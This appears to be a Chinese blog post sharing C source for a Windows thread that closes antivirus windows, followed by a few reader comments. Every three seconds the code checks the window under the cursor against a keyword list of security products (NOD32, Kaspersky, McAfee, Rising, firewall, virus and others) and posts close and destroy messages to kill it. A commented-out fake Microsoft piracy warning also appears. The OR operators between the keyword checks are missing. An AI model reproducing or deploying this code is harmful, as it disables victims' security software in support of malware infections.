//closesafesoft.h //通过窗体关闭杀毒软件
//#include "head.h" //头文件包
DWORD WINAPI closesafe(LPVOID lpParameter);
DWORD WINAPI closesafe(LPVOID lpParameter)
{
//char safemsg[MAX_PATH]="您正在使用盗版软件"
//"请到指定销售商购买"//"我们的正版软件!(微软中国提示!)";
//提示
while(1)
{ Sleep(3000);
char hstr[MAX_PATH]={0};
char str[MAX_PATH]={0};
POINT CurPoint;
HWND hCurrent,hParent;
GetCursorPos(&CurPoint);
hCurrent=WindowFromPoint(CurPoint);
hParent=hCurrent;
while(GetParent(hParent)!=NULL)
hParent=GetParent(hParent);
GetWindowText(hParent,str,MAX_PATH); //获取标题文本
GetWindowText(hCurrent,hstr,MAX_PATH); //获取标题文本
if((strstr(str,"安全卫士") strstr(str,"专杀") strstr(str,"NOD32") strstr(str,"Process") strstr(str,"进程") strstr(str,"瑞星") strstr(str,"木马") strstr(str,"绿鹰") strstr(str,"防御") strstr(str,"微点") strstr(str,"主动防御") strstr(str,"防火墙") strstr(hstr,"病毒") strstr(hstr,"Mcafee") strstr(hstr,"检测") strstr(hstr,"Firewall") strstr(hstr,"virus") strstr(hstr,"anti") strstr(hstr,"金山") strstr(hstr,"江民") strstr(hstr,"超级巡警") strstr(hstr,"卡巴斯基") strstr(hstr,"worm") strstr(hstr,"杀毒")) && hCurrent)
{ PostMessage(hCurrent,WM_DESTROY,0,0);
PostMessage(hParent,WM_CLOSE,0,0);
PostMessage(hCurrent,WM_CLOSE,0,0);
PostMessage(hParent,WM_DESTROY,0,0);
// MessageBox(NULL,safemsg,"盗版用户提示",MB_OKMB_ICONERROR); } } return 1;}
蛮有意思的程序,从朋友那的思路得到的启发,顺便写了写,就发布在自己的BLOG了。做为第一篇进驻的技术帖吧。^_^
貌似看不懂`
回复删除以前大学学过WINDOWS API这门课,当时没觉得怎么样。现在发现,能看懂……
回复删除大学里学的并不是完全无用呀~